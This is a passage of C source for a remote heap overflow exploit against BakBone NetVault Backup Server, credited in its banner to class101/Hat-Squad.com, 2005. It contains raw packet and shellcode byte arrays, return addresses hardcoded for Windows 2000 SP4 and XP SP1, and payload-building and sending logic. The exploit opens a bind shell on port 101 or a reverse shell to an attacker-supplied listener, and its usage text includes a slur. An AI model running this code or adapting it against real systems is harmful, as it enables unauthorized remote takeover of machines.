  456. "\xA5\x97\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20\x00\x00"
  457. "\x00\x10\x02\x4E\x3F\xAC\x14\xCC\x0A\x00\x00\x00\x00\x00\x00\x00"
  458. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  459. "\x00\x01\xA5\x97\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20"
  460. "\x00\x00\x00\x10\x02\x4E\x3F\xC0\xA8\xEA\xEB\x00\x00\x00\x00\x00"
  461. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  462. "\x00\x00\x00\x01\xA5\x97\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B"
  463. "\x00\x20\x00\x00\x00\x10\x02\x4E\x3F\xC2\x97\x2C\xD3\x00\x00\x00"
  464. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  465. "\x00\x00\x00\x00\x00\xB9\xF9\xA2\xC8\x02\x02\x00\x00\x00\xA5\x97"
  466. "\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20\x00\x00\x00\x04"
  467. "\x02\x4E\x3F\xAC\x14\xCC\x0A\xB0\xFC\xE2\x00\x00\x00\x00\x00\xEC"
  468. "\xFA\x8E\x01\xA4\x6B\x41\x00\xE4\xFA\x8E\x01\xFF\xFF\xFF\xFF\x01"
  469. "\x02\x00\x00\x00";
  470.  
  471. char scodeD[] =
  472. "\x00\x06\x00\x00\x00\x0B\x00\x00\x00\x05\x00\x00\x00\x54"
  473. "\x79\x70\x65\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00"
  474. "\x77\x69\x6E\x6E\x74\x00\x12\x00\x00\x00\x55\x44\x50\x20\x46\x72"
  475. "\x61\x67\x6D\x65\x6E\x74\x20\x53\x69\x7A\x65\x00\x01\x00\x00\x00"
  476. "\x01\x00\x00\x00\x05\x00\x00\x00\x31\x34\x30\x30\x00\x07\x00\x00"
  477. "\x00\x53\x65\x72\x76\x65\x72\x00\x01\x00\x00\x00\x01\x00\x00\x00"
  478. "\x05\x00\x00\x00\x54\x52\x55\x45\x00\x0C\x00\x00\x00\x44\x65\x73"
  479. "\x63\x72\x69\x70\x74\x69\x6F\x6E\x00\x00\x00\x00\x00\x01\x00\x00"
  480. "\x00\x0A\x00\x00\x00\x4E\x56\x56\x65\x72\x73\x69\x6F\x6E\x00\x01"
  481. "\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x37\x30\x33\x30\x00"
  482. "\x0D\x00\x00\x00\x4E\x56\x42\x75\x69\x6C\x64\x4C\x65\x76\x65\x6C"
  483. "\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x33\x37\x00";
  484.  
  485. char grabcpname[] =
  486. "\xC9\x00\x00\x00\x01\xCB\x22\x77\xC9\x17\x00\x00\x00\x69\x3B\x69"
  487. "\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69"
  488. "\x3B\x73\x3B\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x00"
  489. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00"
  490. "\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00"
  491. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00\x00\x00\x00\x00\x00"
  492. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  493. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  494. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  495. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  496. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  497. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  498. "\x09\x00\x00\x00\x00\x00\x00\x00\x00";
  499.  
  500. char payload[1024],payload2[20000000],recvbuf[1024],ver2[1024],
  501. cpname[1024],sz[1024],szb[1024],szb2[1024];
  502. int tot,tot2,l00p=0;
  503.  
  504. char sip[3],spo[1],pad[]="\xEB\x0A",pad2[]="\xE9\xF3\xFD\xFF\xFF";
  505. char ret1[]="\x7E\x6D\x03\x75"; //call dword [esi+4C], ws2_32.dll, w2k SP4 EN
  506. char ret1c[]="\xBD\x9B\x36\x7C"; //call dword [edi+74], MSVCR71.dll, XP SP1a-1-0 EN
  507. char ret2[]="\xF0\xA1\x5C\x7C"; //UEF (UnHandledExceptionFilter) w2k sp4 EN
  508. char ret4[]="\xB4\x73\xED\x77"; //UEF XP SP1a-1-0 EN
  509. char padA[]="\x00\x00\x00";
  510. char szc[]="\xFF\xFF";
  511.  
  512. // rtlmethod char repair[]="\xC7\x40\x89\x60\x20\xF8\x77"; repairing RtlEnterCriticalSection on 2k SP4
  513. //you will prolly need to repair this repair[] for your os :>
  514. //I did it quickly: mov dword ptr [eax-77],77F82060
  515. //for litchfield this method is reliable due to the fixed address 0x7FFDF020
  516. //for me that's a crap method like others known heap exploitations
  517. //because you realiably repair the functions across all nt based os?, and where to realiably jump...,
  518. //and also the call to drwtsn32, right before ExitProcess(), acts as a breakpoint, and 
  519. //your shellcode will be executed once 'OK' or 'CANCEL' clicked. At least this is still a 'fun' ExitProcess() :)
  520.  
  521. #ifdef WIN32
  522. WSADATA wsadata;
  523. #endif
  524.  
  525. void ver();
  526. void usage(char* us);
  527. void sl(int time);
  528.  
  529. int main(int argc,char *argv[])
  530. {
  531. ver();
  532. int check1, check2, rc, i, j, k;
  533. unsigned long gip;
  534. unsigned short gport;
  535. char *what, *where, *os;
  536. loop:
  537. if (argc>6||argc<3||atoi(argv[1])>2||atoi(argv[1])<1){usage(argv[0]);return -1;}
  538. if (argc==5){usage(argv[0]);return -1;}
  539. if (strlen(argv[2])<7){usage(argv[0]);return -1;}
  540. if (argc==6)
  541. {
  542. if (strlen(argv[4])<7){usage(argv[0]);return -1;}
  543. }
  544. #ifndef WIN32
  545. if (argc==6)
  546. {
  547. gip=inet_addr(argv[4])^(long)0x00000000;
  548. gport=htons(atoi(argv[5]))^(short)0x0000;
  549. memcpy(&sip[0], &gip, 4);memcpy(&spo[0], &gport, 2);
  550. check1=strlen(&sip[0]);check2=strlen(&spo[0]);
  551. if (check1 == 0||check1 == 1||check1 == 2||check1 == 3){
  552. printf("[+] error, the IP has a null byte in hex...\n");return -1;}
  553. if (check2 != 2){printf("[+] error, the PORT has a null byte in hex...\n");return -1;}
  554. }
  555. #define Sleep sleep
  556. #define SOCKET int
  557. #define closesocket(s) close(s)
  558. #else
  559. if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup error\n");
  560. return -1;}
  561. if (argc==6)
  562. {
  563. gip=inet_addr(argv[4])^(ULONG)0x00000000;
  564. gport=htons(atoi(argv[5]))^(USHORT)0x0000;
  565. memcpy(&sip[0], &gip, 4);memcpy(&spo[0], &gport, 2);
  566. check1=strlen(&sip[0]);check2=strlen(&spo[0]);
  567. if (check1 == 0||check1 == 1||check1 == 2||check1 == 3){
  568. printf("[+] error, the IP has a null byte in hex...\n");return -1;}
  569. if (check2 != 2){printf("[+] error, the PORT has a null byte in hex...\n");return -1;}
  570. }
  571. #endif
  572. int ip=htonl(inet_addr(argv[2])), port;
  573. if (argc==4||argc==6){port=atoi(argv[3]);} else port=20031;
  574. SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
  575. s=socket(AF_INET,SOCK_STREAM,0);
  576. if (s==-1){printf("[+] socket() error\n");return -1;} 
  577. if (atoi(argv[1]) == 1){what=ret1;where=ret2;os="Win2k SP4 Server English\n[+] 
  578. Win2k SP4 Pro English\n";}
  579. if (atoi(argv[1]) == 2){what=ret1c;where=ret4;os="WinXP SP0 Pro. English\n[+] 
  580. WinXP SP1 Pro. English\n[+] WinXP SP1a Pro. English\n";}
  581. if (l00p==0){printf("[+] TARGET: %s\n",os);sl(1);}
  582. server.sin_family=AF_INET;
  583. server.sin_addr.s_addr=htonl(ip);
  584. server.sin_port=htons(port);
  585. connect(s,( struct sockaddr *)&server,sizeof(server));
  586. timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
  587. switch(select(s+1,NULL,&mask,NULL,&timeout))
  588. {
  589. case -1: {printf("[+] select() error\n");closesocket(s);return -1;}
  590. case 0: {printf("[+] connect() error\n");closesocket(s);return -1;}
  591. default:
  592. if(FD_ISSET(s,&mask))
  593. {
  594. if (l00p==0)
  595. {
  596. printf("[+] connection 1: grabbing computername via netvault...\n");
  597. sl(2);
  598. send(s,grabcpname,sizeof(grabcpname)-1,0);
  599. rc = recv(s,recvbuf,sizeof(recvbuf),0);
  600. if (rc==-1||rc<400||recvbuf[13]!=105&&recvbuf[14]!=59){printf("[+] not netvault or 
  601. patched, aborting..\n");return -1;}
  602. else if (rc==0){printf("[+] nothing received, not netvault or patched, aborting..\n");return -1;}
  603. else printf("[+] analyzing packets, sorting computername\n");
  604. sl(2);
  605. printf("[+] bufsize: %d\n",rc);sl(1);
  606. for (i=80,j=0;recvbuf[i]!=0;i++,j++)
  607. {
  608. memset(cpname+j,recvbuf[i],1);
  609. }
  610. memset(sz,strlen(cpname)+1,1);
  611. memset(ver2,recvbuf[rc-37],1);memset(ver2+1,0x2E,1);
  612. memset(ver2+2,recvbuf[rc-35],1);memset(ver2+3,0x2E,1);
  613. memset(ver2+4,recvbuf[rc-34],1);
  614. printf("[+] cmpname: %s\n",cpname);sl(1);
  615. printf("[+] version: %s\n",ver2);sl(1);l00p++;
  616. closesocket(s);
  617. #ifdef WIN32
  618. WSACleanup();
  619. #endif
  620. goto loop;
  621. }
  622. printf("[+]\n[+] connection 2: modding payload regarding computername and length\n");sl(1);
  623. printf("[+] loading attack\n");sl(1);
  624. /*the cpname length is important, that's why we reajust EAX and ECX 
  625. function of cpnamelength.*/
  626. k=7-strlen(cpname);
  627. memset(payload,0x41,1);
  628. // rtlmethod memset(payload2,0x90,k+32417); rtl
  629. // rtlmethod memcpy(payload2+k+32417,"\x1C\xF0\xFD\x7F",4);
  630. // rtlmethod memcpy(payload2+k+32421,"\x1A\x9E\xEA\x00",4);
  631. // rtlmethod memcpy(payload2+k+31902, repair, 7);
  632. memset(payload2,0x90,k+35431);
  633. memcpy(payload2+k+32413,pad,2);memcpy(payload2+k+32417,what,4);
  634. memcpy(payload2+k+32421,where,4);memcpy(payload2+k+32426,pad2,5);
  635. if (argc==6)
  636. {
  637. memcpy(&scode2[167], &gip, 4);
  638. memcpy(&scode2[173], &gport, 2);
  639. memcpy(payload2+k+31914,scode2,strlen(scode2));
  640. }
  641. else memcpy(payload2+k+31914,scode1,strlen(scode1));
  642. tot=sizeof(padA)-1+sizeof(scodeA)-1+sizeof(scodeB)-1+sizeof(scodeC)-1+
  643. sizeof(scodeD)-1+strlen(payload)+strlen(payload2)+strlen(sz)+strlen(cpname);
  644. tot2=tot-192;
  645. memcpy(szb,&tot,2);memcpy(&scodeA[0],&szb,strlen(szb));
  646. memcpy(szb2,&tot2,2);memcpy(&scodeB[1],&szb2,strlen(szb2));
  647. memcpy(scodeC+254,szc,2);
  648. printf("[+] sh0uting the heap!\n");sl(3);
  649. if (send(s,scodeA,sizeof(scodeA)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  650. return -1;}
  651. if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  652. return -1;}
  653. if (send(s,scodeB,sizeof(scodeB)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  654. return -1;}
  655. if (send(s,sz,strlen(sz),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  656. return -1;}
  657. if (send(s,padA,sizeof(padA)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  658. return -1;}
  659. if (send(s,cpname,strlen(cpname),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  660. return -1;}
  661. if (send(s,scodeC,sizeof(scodeC)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  662. return -1;}
  663. if (send(s,payload2,strlen(payload2),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  664. return -1;}
  665. sl(6);
  666. printf("[+]\n[+] size of payload: %d\n",tot);
  667. if (argc==6){printf("[+] payload sent, look at your listener, you should get a shell\n");}
  668. else printf("[+] payload sent, use telnet %s:101 to get a shell\n",inet_ntoa(server.sin_addr));
  669. return 0;
  670. }
  671. }
  672. closesocket(s);
  673. #ifdef WIN32
  674. WSACleanup();
  675. #endif
  676. return 0;
  677. }
  678.  
  679.  
  680. void usage(char* us) 
  681. { 
  682.  
  683. printf(" \n");
  684. printf("[+] . 101_netvault.exe Target VulnIP (bind mode) \n");
  685. printf("[+] . 101_netvault.exe Target VulnIP VulnPORT (bind mode) \n");
  686. printf("[+] . 101_netvault.exe Target VulnIP VulnPORT GayIP GayPORT reverse mode) \n");
  687. printf("TARGETS: \n");
  688. printf("[+] 1. Win2k SP4 Server English (*) - v5.0.2195 \n");
  689. printf("[+] 1. Win2k SP4 Pro English (*) - v5.0.2195 \n");
  690. printf("[+] 2. WinXP SP0 Pro. English - v5.1.2600 \n");
  691. printf("[+] 2. WinXP SP1 Pro. English (*) - v5.1.2600 \n");
  692. printf("[+] 2. WinXP SP1a Pro. English (*) - v5.1.2600 \n");
  693. printf("NOTE: \n");
  694. printf("The exploit bind a cmdshell port 101 or \n");
  695. printf("reverse a cmdshell on your listener. \n");
  696. printf("A wildcard (*) mean tested working, else, supposed working. \n");
  697. printf("A symbol (-) mean all. \n");
  698. printf(" Compilation msvc6, cygwin, Linux. \n");
  699. printf(" \n");
  700. return;
  701. } 
  702.  
  703. void ver()
  704. { 
  705. printf(" \n");
  706. printf("============================[v0.1]====\n");
  707. printf("=====BakBone NetVault, Backup Server===============\n"); 
  708. printf("=====Clientname, Remote Heap Overflow Exploit==========\n");
  709. printf("====coded by class101======[Hat-Squad.com 2005]=====\n");
  710. printf("============================================\n");
  711. printf(" \n");
  712. }
  713.  
  714. void sl(int time)
  715. {
  716. #ifdef WIN32
  717. Sleep(time*1000);
  718. #else
  719. Sleep(time);
  720. #endif
  721. }
  722.  
  723.  
  724.